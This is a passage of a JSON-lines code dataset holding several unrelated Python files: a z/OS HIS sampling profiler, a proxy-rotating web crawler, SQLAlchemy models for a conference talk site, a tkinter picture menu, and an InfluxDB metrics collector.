0xFFFF:\n return None\n ascb = ascb_for_asid(asid)\n name = decode_pointer4_to_char8_name(ascb, 0xAC) # initiated jobname\n if name is None:\n name = decode_pointer4_to_char8_name(ascb, 0xB0) # started jobname\n return name\n\ncurrent_asid = get_current_asid()\nhome_asid_set = {current_asid}\n\ndef sorted_and_remove_duplicates(entries):\n entries = sorted(entries)\n new_entries = []\n last_entry = None\n for entry in entries:\n if last_entry != entry:\n new_entries.append(entry)\n last_entry = entry\n return new_entries\n\ndef best_name_for_info(info):\n for i in range(len(info) - 1, -1, -1):\n if info[i]:\n return info[i]\n return None\n\ndef show_entries(name):\n global entries\n print(\"--- %s ---\" % name)\n for asid, address, is_begin, level, name in entries:\n print(\"%04X %016X %X %X %s\" % (asid, address, is_begin, level, name))\n sys.stdout.flush()\n\nimport signal\ndef get_info_handler(signalnum, frame):\n pid = os.getpid()\n get_info_arguments_file = \"/tmp/get_info_arguments_%d.pkl\" % pid\n with open(get_info_arguments_file, \"rb\") as argfile:\n names = pickle.load(argfile)\n entries = list()\n get_csv_info(entries, get_current_asid())\n if names is not None:\n get_csv_info_entries = entries\n entries = list()\n for asid, address, is_begin, level, name in get_csv_info_entries:\n if is_begin == 1:\n begin_address = address\n else:\n end_address = address\n if name in names:\n get_module_info(entries, asid, name, begin_address, end_address)\n get_info_results_file = \"/tmp/get_info_results_%d.pkl\" % pid\n with open(get_info_results_file, \"wb\") as resultsfile:\n pickle.dump(entries, resultsfile)\n os.remove(get_info_arguments_file)\n\ndef install_info_on_sigusr1():\n signal.signal(signal.SIGUSR1, get_info_handler)\n\ndef get_info_for_process(pid, names):\n get_info_arguments_file = \"/tmp/get_info_arguments_%d.pkl\" % pid\n with open(get_info_arguments_file, \"wb\") as argfile:\n pickle.dump(names, argfile)\n os.kill(pid, signal.SIGUSR1)\n while os.path.isfile(get_info_arguments_file):\n time.sleep(0.1)\n get_info_results_file = \"/tmp/get_info_results_%d.pkl\" % pid\n with open(get_info_results_file, \"rb\") as resultsfile:\n entries = pickle.load(resultsfile)\n os.remove(get_info_results_file)\n return entries\n\ndef add_info_to_list(info_list, asid, begin_address, end_address, level, name):\n info_list.append((asid, begin_address, 1, level, name))\n info_list.append((asid, end_address, 0, level, name))\n\ndef get_csv_info_for_current_asid():\n global entries, current_asid\n saved_entries = entries\n entries = list()\n for asid in (0, current_asid):\n get_csv_info(add_info_to_list, entries, asid)\n if False:\n show_entries(\"get_csv_info_for_current_asid\")\n entries = saved_entries + entries\n\ndef get_module_info_for_current_asid():\n global entries, names_for_get_module_info, current_asid\n if False:\n print(\"names_for_get_module_info=%r\" % (names_for_get_module_info,))\n sys.stdout.flush()\n saved_entries = entries\n entries = list()\n for asid in (0, current_asid):\n get_csv_info(entries, asid)\n get_csv_info_entries = entries\n entries = list()\n for asid, address, is_begin, level, name in get_csv_info_entries:\n if is_begin == 1:\n begin_address = address\n else:\n end_address = address\n if name in names_for_get_module_info:\n get_module_info(add_info_to_list, entries, asid, name, begin_address, end_address)\n if False:\n show_entries(\"get_module_info_for_current_asid\")\n entries = saved_entries + entries\n \ndef add_entries_for_interval(asid, begin_address, end_address, level, interval, name):\n global entries\n saved_entries = entries\n entries = list()\n if (end_address - begin_address) / interval >= 2:\n split_name = name.split(':')\n name_without_addresses = split_name[0]\n parent_begin_offset = 0\n if len(split_name) == 3 and '(' not in split_name[1]:\n parent_begin_offset = int(split_name[1], 16)\n for begin_offset in range(0, end_address-begin_address, interval):\n begin_interval = begin_address + begin_offset\n end_interval = begin_interval + interval\n if end_interval > end_address:\n end_interval = end_address\n end_offset = end_interval - begin_address\n interval_name = \"%s:+%X:+%X\" % (split_name[0],\n parent_begin_offset+begin_offset, parent_begin_offset+end_offset)\n entries.append((asid, begin_interval, 1, level, interval_name))\n entries.append((asid, end_interval, 0, level, interval_name))\n if False:\n show_entries(\"add_entries_for_interval\")\n entries = saved_entries + entries\n\npickled_his_map_filename = \"profile_his_map_%s.pkl\" % datetime.now().isoformat('-', 'seconds')\n\ndef get_maps_from_his(log=sys.stdout):\n global pickled_his_map_filename, current_asid, entries\n global private24, private31, primary_asid_to_jobname_map, primary_asid_to_count_map\n global sample_his_pathname_prefix\n if os.path.exists(pickled_his_map_filename):\n new_map = False\n with open(pickled_his_map_filename, \"rb\") as pickle_file:\n (entries, asids_mapped_by_his, private24, private31) = pickle.load(pickle_file)\n else:\n new_map = True\n entries = []\n entries.append((0x10000, 0, 1, 0, \"DAT_OFF\"))\n entries.append((0x10000, 0x7FFFFFFF, 0, 0, \"DAT_OFF\"))\n entries.append((0x10001, 0, 0, 0, ''))\n asids_mapped_by_his = set(())\n primary_asid_to_count_map = {}\n read_all_sample_files(sample_his_pathname_prefix, phase=0, log=log)\n total_count = sum([count for asid, count in primary_asid_to_count_map.items()])\n asid_threshold_count = total_count * 0.001\n asids_for_map = {asid for asid, count in primary_asid_to_count_map.items()\n if count >= asid_threshold_count and asid < 0x10000}\n asids_for_map -= asids_mapped_by_his\n if new_map or asids_for_map:\n if not asids_for_map:\n asids_for_map = (current_asid)\n his_filename_prefix = get_map_for_asids(asids_for_map, log=log)\n asids_mapped_by_his |= asids_for_map\n his_map_pathname = HIS_PATHNAME + \"/\" + his_filename_prefix[0:-1] + '.000.MAP'\n read_his_map(his_map_pathname)\n if False:\n show_entries(\"his\")\n with open(pickled_his_map_filename+\".new\", \"wb\") as pickle_his_map_file:\n pickle.dump((entries, asids_mapped_by_his, private24, private31),\n pickle_his_map_file)\n os.rename(pickled_his_map_filename+\".new\", pickled_his_map_filename)\n return entries\n\ndef get_maps_and_analyze_samples(log=sys.stdout):\n global pickled_map_filename, current_asid, entries\n global private24, private31, primary_asid_to_jobname_map, primary_asid_to_count_map\n global names_for_get_module_info, names_for_interval_counting\n entries = get_maps_from_his(log=log)\n print(\"have %d entries from his\" % (len(entries),))\n \n get_csv_info_for_current_asid()\n phase = 1\n print(\"have %d entries for phase %d\" % (len(entries), phase))\n build_primaryasid_to_address_to_info_map()\n read_all_sample_files(sample_his_pathname_prefix, phase=1, log=log)\n total_count = sum([count for asid, count in primary_asid_to_count_map.items()])\n threshold_for_module_map = total_count * 0.001\n print(\"threshold_for_module_map=%d\" % threshold_for_module_map)\n names_for_get_module_info = set(())\n for asid, (address_to_info_map, address_array, count_array) in primaryasid_to_address_to_info_map.items():\n for i in range(len(address_array)):\n begin_address = address_array[i]\n info = address_to_info_map[begin_address]\n count = count_array[i]\n name = best_name_for_info(info)\n if count > threshold_for_module_map:\n names_for_get_module_info.add(name)\n get_module_info_for_current_asid()\n for phase, interval, level in ((2, 4096, 7), (3, 16, 8)):\n print(\"have %d entries for phase %d, interval=%d, level=%d\" % (len(entries), phase, interval, level))\n build_primaryasid_to_address_to_info_map()\n read_all_sample_files(sample_his_pathname_prefix, phase=phase, log=log)\n threshold_for_interval_map = total_count * 0.05\n names_for_interval_counting = set(())\n for asid, (address_to_info_map, address_array, count_array) in primaryasid_to_address_to_info_map.items():\n for i in range(len(address_array) - 1):\n begin_address = address_array[i]\n end_address = address_array[i+1]\n info = address_to_info_map[begin_address]\n count = count_array[i]\n if count > threshold_for_interval_map:\n name = best_name_for_info(info)\n if False:\n print(\"## %04X %016X %016X len=%08X count=%06d %s\" % (asid, begin_address, end_address,\n end_address - begin_address,\n count, name))\n add_entries_for_interval(asid, begin_address, end_address, level, interval, name)\n phase = 4\n print(\"have %d entries for phase %d\" % (len(entries), phase))\n build_primaryasid_to_address_to_info_map()\n read_all_sample_files(sample_his_pathname_prefix, phase=4, log=log)\n\n# later: , home_asid_or_jobname_pattern_list=()\ndef run_test(name, fn, log=sys.stdout, jobnames=None):\n global test_name, test_fn, test_timestamp, sample_his_pathname_prefix\n global asid_to_name_map, primary_asid_to_jobname_map, primary_asid_to_count_map\n global names_for_get_module_info, names_for_interval_counting\n global private24, private31\n test_name = name\n test_fn = fn\n test_timestamp = datetime.now()\n his_filename_prefix = run_his_test(test_fn, log=log, jobnames=jobnames)\n sample_his_pathname_prefix = HIS_PATHNAME + \"/\" + his_filename_prefix\n primary_asid_to_jobname_map = {}\n asid_to_name_map = {}\n get_maps_and_analyze_samples(log=log)\n tree = build_count_tree()\n pickled_tree_filename = \"profile_tree_%s.pkl\" % datetime.now().isoformat('-', 'seconds')\n with open(pickled_tree_filename, \"wb\") as tree_pickle_file:\n pickle.dump(tree, tree_pickle_file)\n return pickled_tree_filename\n\ndef build_primaryasid_to_address_to_info_map():\n global entries, primaryasid_to_address_to_info_map, asid_to_name_map\n entries = sorted_and_remove_duplicates(entries)\n primaryasid_to_address_to_info_map = {}\n last_asid = None\n last_address = None\n for asid, address, is_begin, level, name in entries:\n if asid != last_asid:\n if last_asid is not None:\n address_to_info_list[1] = array(\"L\", sorted(address_to_info_map.keys()))\n address_to_info_list[2] = array(\"I\", itertools.repeat(0, len(address_to_info_list[1])))\n if asid == 0x10001:\n break\n last_asid = asid\n if asid_to_name_map and asid in asid_to_name_map:\n asid_name = asid_to_name_map[asid]\n else:\n asid_name = \"%04X\" % asid\n current_keys = [asid_name, None, None, None, None, None, None, None, None]\n if asid in primaryasid_to_address_to_info_map:\n address_to_info_list = primaryasid_to_address_to_info_map[asid]\n address_to_info_map = address_to_info_list[0]\n else:\n address_to_info_map = {}\n address_to_info_list = [address_to_info_map, None, None]\n primaryasid_to_address_to_info_map[asid] = address_to_info_list\n last_address = None\n if address != last_address:\n if last_address:\n address_to_info_map[last_address] = tuple(current_keys)\n last_address = address\n current_keys[level] = name if is_begin else None\n\ndef increment_count_for_asid_and_address(primary_asid, home_asid, address, increment=1, log=sys.stdout):\n global primaryasid_to_address_to_info_map\n if not primary_asid in primaryasid_to_address_to_info_map:\n print(\"No information for asid %04X, address=%016X\" % (primary_asid, address), file=log)\n address_to_info_map = {0: (\"?\"), 0x7FFFFFFF: (\"?\")}\n address_to_info_list = [address_to_info_map, None, None]\n address_to_info_list[1] = array(\"L\", sorted(address_to_info_map.keys()))\n address_to_info_list[2] = array(\"I\", itertools.repeat(0, len(address_to_info_list[1])))\n #print(repr(address_to_info_list))\n primaryasid_to_address_to_info_map[primary_asid] = address_to_info_list\n address_to_info_map, address_array, count_array = primaryasid_to_address_to_info_map[primary_asid]\n if address_array is None:\n print(\"increment_count_for_asid_and_address: address_array is None for asid %04X\" % (primary_asid,), file=log)\n index = bisect.bisect_right(address_array, address) - 1 # 'Find rightmost value less than or equal to x'\n if index < 0:\n print(\"increment_count_for_asid_and_address: bad index, asid=%04X, address=%016X\" % (primary_asid, address), file=log)\n else:\n count_array[index] += increment\n\ndef read_his_map(his_map_pathname):\n global entries, private24, private31, asid_to_name_map\n encoding = None\n try:\n with open(his_map_pathname, \"rt\", encoding=encoding) as map_in:\n if 'I' != map_in.read(1):\n encoding = \"cp1047_oe\"\n except:\n encoding = \"cp1047_oe\"\n line_number = 0\n last_asid = None\n ModuleName = None\n with open(his_map_pathname, \"rt\", encoding=encoding) as map_in:\n while True:\n RecordType = map_in.read(1)\n if RecordType == '':\n return False\n line_number += 1\n MemoryArea = map_in.read(1) # N=Nucleus, M=MLPA, P=PLPA, F=FLPA, X=Private area, C=Common area\n Type_or_Asid = map_in.read(4)\n if MemoryArea == ' ':\n pass\n else:\n if MemoryArea == 'X':\n asid = int(Type_or_Asid, 16)\n else:\n asid = 0\n if asid != last_asid:\n #print(\"read_his_map: asid=%04X\" % (asid,))\n last_asid = asid\n ShortName = map_in.read(8)\n if RecordType == 'I':\n map_in.readline()\n elif RecordType == 'A': # ShortName is the jobname\n asid_to_name_map[asid] = ShortName\n map_in.readline()\n else:\n begin_address = int(map_in.read(16), 16)\n if RecordType == 'E':\n line = map_in.readline().rstrip()\n name = ShortName\n if len(line) > 0:\n length_of_info_section = int(line[0:2], 16)\n offset = int(line[2,6], 16) - 30\n length = int(line[6,10], 16)\n LongName = line[offset:offset+length]\n name = \"%s.%s\" % (ShortName, LongName)\n level = 3\n entries.append((asid, begin_address, 1, level, name))\n else:\n end_address = int(map_in.read(16), 16) + 1\n if RecordType == 'B':\n level = 0\n name = \"COMMON\"\n if ShortName == 'PRIVATE ':\n private24 = (begin_address, end_address)\n entries.append((0, 0, 1, level, name))\n entries.append((0, begin_address, 0, level, name))\n entries.append((0, end_address, 1, level, name))\n entries.append((0, 0x01000000, 0, level, name))\n elif ShortName == 'EPRV ':\n private31 = (begin_address, end_address)\n entries.append((0, 0x01000000, 1, level, name))\n entries.append((0, begin_address, 0, level, name))\n entries.append((0, end_address, 1, level, name))\n entries.append((0, 0x7FFFFFFF, 0, level, name))\n map_in.readline()\n else:\n line = map_in.readline().rstrip()\n name = ShortName\n LongName = None\n if len(line) > 0:\n length_of_info_section = int(line[0:2], 16)\n offset = int(line[2:6], 16) - 46\n length = int(line[6:10], 16)\n LongName = line[offset:offset+length]\n if RecordType == 'C' or RecordType == 'S' or RecordType == 'F':\n name = LongName\n elif RecordType == 'M':\n mtype = LongName[0]\n if mtype == 'D':\n volser = LongName[1:7]\n dsn_length = int(LongName[7:9], 16)\n dsn = LongName[9:9+dsn_length]\n name = \"%s:%s(%s)\" % (volser, dsn, ShortName.rstrip())\n elif mtype == 'C':\n pass # module is in the LPA\n elif mtype == 'P':\n length = int(LongName[1:5], 16)\n name = LongName[5:5+length]\n level = None\n if RecordType == 'M':\n level = 1\n ModuleName = name\n elif RecordType == 'C':\n if LongName is None and '>' in ShortName:\n pass\n else:\n level = 2\n if ModuleName is None:\n if False:\n print(\"csect %s does not have a module\" % (name,))\n else:\n name = \"%s:%s\" % (ModuleName, name)\n elif RecordType == 'S':\n level = 4\n elif RecordType == 'F':\n level = 5\n if level:\n entries.append((asid, begin_address, 1, level, name))\n entries.append((asid, end_address, 0, level, name))\n\ndef read_sample_file(sample_filename, phase, log=sys.stdout):\n global private24, private31, primary_asid_to_jobname_map, primary_asid_to_count_map\n total_samples = 0\n samples = 0\n with open(sample_filename, \"rb\") as samples_file:\n buffer_size = 4096 # can be configured to either be 4K or 1M\n block = bytearray(buffer_size)\n while buffer_size == samples_file.readinto(block):\n header_position = buffer_size - 64\n timestamp = block[header_position + 16 : header_position + 32]\n for position in range(0, header_position, 32):\n (format_code, number_of_unique_instructions, flags1, flags2, primary_asn, instruction_address,\n tcb_or_web_address, home_asn, task_token) = struct.unpack_from(\"HBBHHL\" \"IHH\", block, position)\n invalid = 0 != (flags1 & 0x01)\n dat_mode = 0 != (flags1 & 0x20)\n wait_state = 0 != (flags1 & 0x10)\n srb = 0 != (home_asn & 0x8000); home_asn &= 0x7FFF\n if not dat_mode:\n primary_asn = 0x10000\n total_samples += 1\n if invalid or wait_state:\n pass\n elif home_asn in home_asid_set:\n samples += 1\n problem_state = 0 != (flags1 & 0x08)\n address_space_control = (flags1 & 0x06) >> 1 # if dat_mode: 0:primary, 1:ar, 2:secondary, 3:home\n if phase == 0: # figure out which asids to ask his to map\n if primary_asn not in primary_asid_to_jobname_map:\n primary_asid_to_jobname_map[primary_asn] = jobname_for_asid(primary_asn)\n primary_asid_to_count_map[primary_asn] = 1\n else:\n primary_asid_to_count_map[primary_asn] += 1\n else:\n private_bounds = private24 if instruction_address <= 0xFFFFFF else private31\n is_private = private_bounds[0] <= instruction_address and instruction_address <= private_bounds[1]\n if not is_private:\n primary_asn = 0\n wait = 0 != tcb_or_web_address & 0x80000000; tcb_or_web_address &= 0x7FFFFFFF\n increment_count_for_asid_and_address(primary_asn, home_asn, instruction_address, log=log)\n return (samples, total_samples)\n\ndef read_all_sample_files(sample_prefix, phase, log=sys.stdout):\n if sample_prefix.endswith('.'):\n sample_prefix = sample_prefix[0:-1]\n count = 0\n for sample_filename in glob.glob(\"%s.000.SMP.*\" % sample_prefix):\n count += 1\n samples, total_samples = read_sample_file(sample_filename, phase, log=log)\n if total_samples:\n print(\"%s samples=%s total=%d\" % (sample_filename, samples, total_samples), file=log)\n return count\n\nclass count_tree:\n name = None\n count = 0\n key_to_subtree = None\n def __init__(self, name=()):\n self.name = name\n self.key_to_subtree = {}\n\n def add_count_to_tree(self, info_tuple, count, position=0):\n self.count += count\n while True:\n if position >= len(info_tuple):\n return\n current_name = info_tuple[position]\n if current_name is not None:\n break\n position += 1\n if current_name not in self.key_to_subtree:\n subtree_name = self.name + (current_name,)\n subtree = count_tree(subtree_name)\n self.key_to_subtree[current_name] = subtree\n else:\n subtree = self.key_to_subtree[current_name]\n subtree.add_count_to_tree(info_tuple, count, position+1)\n\ndef build_count_tree():\n tree = count_tree(())\n for asid, (address_to_info_map, address_array, count_array) in primaryasid_to_address_to_info_map.items():\n for i in range(len(address_array)):\n info = address_to_info_map[address_array[i]]\n count = count_array[i]\n if count > 0:\n tree.add_count_to_tree(info, count)\n return tree\n\ndef tree_item_count(tree_item):\n return tree_item[1].count\n\ndef print_tree(tree, total=None, indent = 0, threshold = 0.0025):\n if isinstance(tree, str):\n tree_pickle_filename = tree\n with open(tree_pickle_filename, \"rb\") as tree_pickle_file:\n tree = pickle.load(tree_pickle_file)\n if indent == 0:\n print(\"\") \n print(\"All rows are 1000*samples/total_samples (samples) name\")\n print(\"threshold=%f\" % threshold)\n if total is None:\n total = float(tree.count)\n item_list = tree.key_to_subtree.items()\n for key, subtree in sorted(item_list, key=tree_item_count, reverse=True):\n count = subtree.count\n fraction = count/total\n if fraction > threshold:\n print(\"%s %03d (%d) %s\" % (' ' * indent, int(fraction*1000), count, key))\n print_tree(subtree, total, indent + 3, threshold)\n\n\n","sub_path":"zos_python/profile/his_profile.py","file_name":"his_profile.py","file_ext":"py","file_size_in_byte":25806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"374979977","text":"import urllib.request\r\nimport random\r\ntry:\r\n import log\r\nexcept:\r\n from . import log\r\nimport gzip\r\nimport http.client\r\nimport urllib.error\r\nimport urllib.parse\r\nimport useragents\r\nfrom parseconfig import Parse\r\n\r\n\r\n\r\nclass Crawl:\r\n\r\n def __init__(self, url, timeout=5, encoding='utf8', maxtime=5, data=None, isProxy=False, proxyPools=None, crawlConfig=None, urlConfig=None, **kwargs):\r\n self.url = url\r\n self.timeout = timeout\r\n self.maxtime = maxtime\r\n self.encoding = encoding\r\n self.data = data\r\n self.isProxy = isProxy\r\n self.proxyPools = proxyPools\r\n self.crawlConfig = crawlConfig\r\n self.urlConfig = urlConfig\r\n\r\n self.protocol = url[:url.find(':')]\r\n self.kwargs = kwargs\r\n\r\n self.html = None\r\n\r\n self.parse_config()\r\n self.run()\r\n\r\n def parse_config(self):\r\n urlConfig_ = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0',\r\n 'Referer': '',\r\n 'Host': '',\r\n 'Cookie': ''}\r\n\r\n crawlConfig_ = {'timeout': self.timeout,\r\n 'encoding': self.encoding,\r\n 'maxtime': self.maxtime}\r\n\r\n if not self.urlConfig:\r\n urlConfig_.update(\r\n {x.replace('_', '-'): self.kwargs[x] for x in self.kwargs if 65 <= ord(str(x)[0]) <= 90 and self.kwargs[x]})\r\n\r\n else:\r\n urlConfig_.update({x: self.urlConfig[x] for x in self.urlConfig if 65 <= ord(str(x)[0]) <= 90 and self.urlConfig[x]})\r\n\r\n if not self.crawlConfig:\r\n crawlConfig_.update({x: self.kwargs[x] for x in self.kwargs if\r\n type(x) == str and self.kwargs[x] is not None and x in ['maxtime', 'timeout',\r\n 'encoding']})\r\n else:\r\n crawlConfig_.update({x: self.kwargs[x] for x in self.crawlConfig if\r\n type(x) == str and self.crawlConfig[x] is not None and x in ['maxtime', 'timeout',\r\n 'encoding']})\r\n if self.proxyPools:\r\n self.isProxy = True\r\n\r\n self.urlConfig, self.crawlConfig = urlConfig_, crawlConfig_\r\n\r\n def opener(self):\r\n if self.isProxy and self.proxyPools:\r\n proxy = random.choice(self.proxyPools)\r\n proxyData = 'http://' + proxy\r\n proxyHandler = urllib.request.ProxyHandler({self.protocol: proxyData})\r\n opener = urllib.request.build_opener(proxyHandler)\r\n else:\r\n opener = urllib.request.build_opener()\r\n if Parse.crawlConfig['shuffle']:\r\n self.urlConfig['User-Agent'] = random.choice(useragents.userAgents)\r\n headers = list(zip(list(self.urlConfig.keys()), [self.urlConfig[x] for x in list(self.urlConfig.keys())]))\r\n opener.addheaders = headers\r\n return opener\r\n\r\n def run(self):\r\n index = 0\r\n while index <= self.crawlConfig['maxtime']:\r\n\r\n try:\r\n opener = self.opener()\r\n try:\r\n if not self.data:\r\n rawHtml = opener.open(self.url, timeout=self.crawlConfig['timeout'])\r\n else:\r\n data = urllib.parse.urlencode(self.data).encode('utf8')\r\n rawHtml = opener.open(self.url, timeout=self.crawlConfig['timeout'], data=data)\r\n opener.close()\r\n if rawHtml.code != 200:\r\n assert rawHtml.code == 200, '返回码%s不等于200,url:%s' % (rawHtml.code, self.url)\r\n else:\r\n bytes = rawHtml.read()\r\n try:\r\n data = gzip.decompress(bytes)\r\n except:\r\n data = bytes\r\n self.html = data.decode(self.crawlConfig['encoding'], errors='ignore')\r\n return\r\n except http.client.BadStatusLine:\r\n index += 1\r\n log.error('BadStatusLine Error, URL:%s' % self.url)\r\n except urllib.error.URLError as e:\r\n index += 0.2\r\n log.error('URLError, URL:%s, ERROR:%s' % (self.url, e))\r\n except Exception as e:\r\n log.error('Other Error, URL:%s, ERROR:%s' % (self.url, e))\r\n except Exception as e:\r\n index += 1\r\n log.critical('...', e)\r\n\r\n log.critical('Index is over than %s times,crawl fail, URL;%s' % (self.crawlConfig['maxtime'], self.url))\r\n self.html = None\r\n","sub_path":"crawl.py","file_name":"crawl.py","file_ext":"py","file_size_in_byte":4832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"224472630","text":"from sqlalchemy import Column\nfrom sqlalchemy import DateTime\nfrom sqlalchemy import ForeignKey\nfrom sqlalchemy import Index\nfrom sqlalchemy import Integer\nfrom sqlalchemy import String\nfrom sqlalchemy import Text\nfrom sqlalchemy import Enum\nfrom sqlalchemy.ext.declarative import declared_attr\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy.orm import backref\nfrom sqlalchemy.orm import relationship\nfrom sqlalchemy.orm import scoped_session\nfrom sqlalchemy.orm import sessionmaker\nfrom zope.sqlalchemy import ZopeTransactionExtension\n\nfrom pyramid.security import Allow\nfrom pyramid.security import ALL_PERMISSIONS\n\nfrom pyconca.util import camel_to_under\n\n\nDBSession = scoped_session(sessionmaker(extension=ZopeTransactionExtension()))\nBase = declarative_base()\n\n\nclass AttrMixIn(object):\n\n @declared_attr\n def __tablename__(cls):\n return camel_to_under(cls.__name__)\n\n @declared_attr\n def __table_args__(cls):\n return {\n 'mysql_engine': 'InnoDB',\n 'mysql_charset': 'utf8'\n }\n\n\nclass User(AttrMixIn, Base):\n id = Column(Integer, primary_key=True)\n username = Column(String(length=100), unique=True, nullable=False)\n password = Column(String(length=100), nullable=False)\n first_name = Column(String(length=100), nullable=False)\n last_name = Column(String(length=100), nullable=False)\n email = Column(String(length=100), nullable=False)\n groups = relationship('Group', secondary='user_group')\n talks = relationship('Talk', backref='user')\n\n @property\n def __acl__(self):\n return [\n (Allow, 'group:admin', ALL_PERMISSIONS),\n\n (Allow, self.id, 'user_get'),\n (Allow, self.id, 'api_user_get'),\n\n (Allow, self.id, 'user_update'),\n (Allow, self.id, 'api_user_update'),\n ]\n\n @property\n def is_admin(self):\n return 'admin' in [group.name for group in self.groups]\n\n def to_dict(self, is_admin):\n return {\n 'id': self.id,\n 'username': self.username,\n 'first_name': self.first_name,\n 'last_name': self.last_name,\n 'email': self.email,\n }\n\n\nclass Group(AttrMixIn, Base):\n id = Column(Integer, primary_key=True)\n name = Column(String(length=30), unique=True, nullable=False)\n\n\nclass UserGroup(AttrMixIn, Base):\n user_id = Column(Integer, ForeignKey('user.id'), primary_key=True)\n group_id = Column(Integer, ForeignKey('group.id'), primary_key=True)\n\n\nclass Talk(AttrMixIn, Base):\n id = Column(Integer, primary_key=True)\n owner_id = Column(Integer, ForeignKey('user.id'))\n title = Column(String(length=100), nullable=False)\n type = Column(Enum('talk', 'tutorial', 'other', name='talk_type'),\n nullable=False)\n level = Column(Enum('novice', 'experienced', name='talk_level'),\n nullable=False)\n abstract = Column(String(length=400), nullable=False)\n outline = Column(Text(), nullable=False)\n reviewer_notes = Column(Text(), default='')\n schedule_slot = relationship('ScheduleSlot',\n backref=backref('talk', uselist=False),\n secondary='talk_schedule_slot',\n single_parent=True,\n uselist=False)\n\n @property\n def __acl__(self):\n return [\n (Allow, 'group:admin', ALL_PERMISSIONS),\n\n (Allow, self.owner_id, 'talk_get'),\n (Allow, self.owner_id, 'api_talk_get'),\n\n (Allow, self.owner_id, 'talk_update'),\n (Allow, self.owner_id, 'api_talk_update'),\n ]\n\n def to_dict(self, is_admin):\n data = {\n 'id': self.id,\n 'owner_id': self.owner_id,\n 'title': self.title,\n 'type': self.type,\n 'level': self.level,\n 'abstract': self.abstract,\n 'outline': self.outline,\n 'user': self.user.to_dict(is_admin)\n }\n\n if is_admin:\n data['reviewer_notes'] = self.reviewer_notes\n\n return data\n\n\nclass ScheduleSlot(AttrMixIn, Base):\n id = Column(Integer, primary_key=True)\n room = Column(String(length=100), nullable=False)\n start = Column(DateTime, nullable=False)\n end = Column(DateTime, nullable=False)\n\n\nclass TalkScheduleSlot(AttrMixIn, Base):\n talk_id = Column(Integer, ForeignKey('talk.id'), primary_key=True)\n schedule_slot_id = Column(Integer, ForeignKey('schedule_slot.id'), primary_key=True)\n\n\nIndex(\"talk_schedule_slot_talk_id_unique\", \n TalkScheduleSlot.talk_id, unique=True)\nIndex(\"talk_schedule_slot_schedule_slot_id_unique\", \n TalkScheduleSlot.schedule_slot_id, unique=True)\n","sub_path":"pyconca/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"147326281","text":"import tkinter as tk\nfrom PIL import ImageTk\nimport PIL.Image\nfrom tkinter import *\nfrom config.log import get_logger\nfrom os import listdir\nfrom events import relaxingEvent, programmingEvent, gamingEvent, studyingEvent, workoutEvent\n\nlogger = get_logger(__name__)\nlogger.info(\"App has started\")\n\n# Reading pictures for labels\ndef readPictures():\n pictureDict = {}\n try:\n for i in listdir(\"./pikturez\"):\n split = i.split(\".\")\n pictureDict[split[0].strip()] = i.strip()\n logger.info(\"Pictures read successfully\")\n return pictureDict\n except:\n logger.error(\"Pictures could not be read\")\n\n# Creating base for GUI\npictureDict = readPictures()\nroot = tk.Tk()\ncanvas = tk.Canvas(root, width=1920, height=1080, bg=\"#007a5a\")\nroot.attributes(\"-fullscreen\", True)\n\n# Creating Labels with pictures\ntry:\n img1 = ImageTk.PhotoImage(PIL.Image.open(\"./pikturez/\"+pictureDict[\"gaming\"]))\n frame1 = Label(root, bg=\"black\", image = img1)\n frame1.place(width=400, height=250, x=250, y=100)\n frame1.bind(\"\",lambda event : gamingEvent())\n frame1.pack\n\n img2 = ImageTk.PhotoImage(PIL.Image.open(\"./pikturez/\"+pictureDict[\"programming\"]))\n frame2 = Label(root, bg=\"black\", image = img2)\n frame2.place(width=400, height=250, x=750, y=100)\n frame2.bind(\"\",lambda event : programmingEvent())\n frame2.pack\n\n img3 = ImageTk.PhotoImage(PIL.Image.open(\"./pikturez/\"+pictureDict[\"relaxing\"]))\n frame3 = Label(root, bg=\"black\", image = img3)\n frame3.place(width=400, height=250, x=1250, y=100)\n frame3.bind(\"\",lambda event : relaxingEvent())\n frame3.pack\n\n img4 = ImageTk.PhotoImage(PIL.Image.open(\"./pikturez/\"+pictureDict[\"studying\"]))\n frame2_1 = Label(root, bg=\"black\", image = img4)\n frame2_1.place(width=400, height=250, x=250, y=420)\n frame2_1.bind(\"\",lambda event : studyingEvent())\n frame2_1.pack\n\n img5 = ImageTk.PhotoImage(PIL.Image.open(\"./pikturez/\"+pictureDict[\"workout\"]))\n frame2_2 = Label(root, bg=\"black\", image = img5)\n frame2_2.place(width=400, height=250, x=750, y=420)\n frame2_2.bind(\"\",lambda event : workoutEvent())\n frame2_2.pack\nexcept Exception as e:\n logger.critical('Frames could not be created\\n'+\"Err: \"+e)\n\nlogger.info(\"All of the frames were created\")\ncanvas.pack()\nroot.mainloop()\n\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"14565520","text":"__author__ = \"\"\n__copyright__ = \"Licensed under GPLv2 or later.\"\n\nfrom dataStore.lepdClient.LepdClient import LepdClient\nfrom dataStore.influxDbUtil.dbUtil import MyInfluxDbClient\n\nimport time\nimport re\n\n'''\nfetch data related to GetCmdMpstat from lepd by lepdClient and \nstore the returned data into the influxDB by influxDBClient.\n'''\ndef pullAndStoreGetCmdMpstat(lepdClient, influxDbClient):\n res = lepdClient.sendRequest('GetCmdMpstat')\n # print(res)\n myStr = res['result'].split('\\n')\n\n data = re.findall(r\"\\d+\\.?\\d*\", myStr[10])\n\n\n json_body = [\n {\n \"measurement\": \"GetCmdMpstat\",\n \"tags\": {\n # the address of lepd\n \"server\": lepdClient.server\n },\n # \"time\": \"2017-03-12T22:00:00Z\",\n \"fields\": {\n \"%usr\": float(data[0]),\n \"%nice\": float(data[1]),\n \"%sys\": float(data[2]),\n \"%iowait\": float(data[3]),\n \"%irq\": float(data[4]),\n \"%soft\": float(data[5]),\n \"%steal\": float(data[6]),\n \"%guest\": float(data[7]),\n \"%gnice\": float(data[8]),\n \"%idle\": float(data[9])\n }\n\n }\n ]\n\n influxDbClient.write_points(json_body)\n\n\n\nif (__name__ == '__main__'):\n 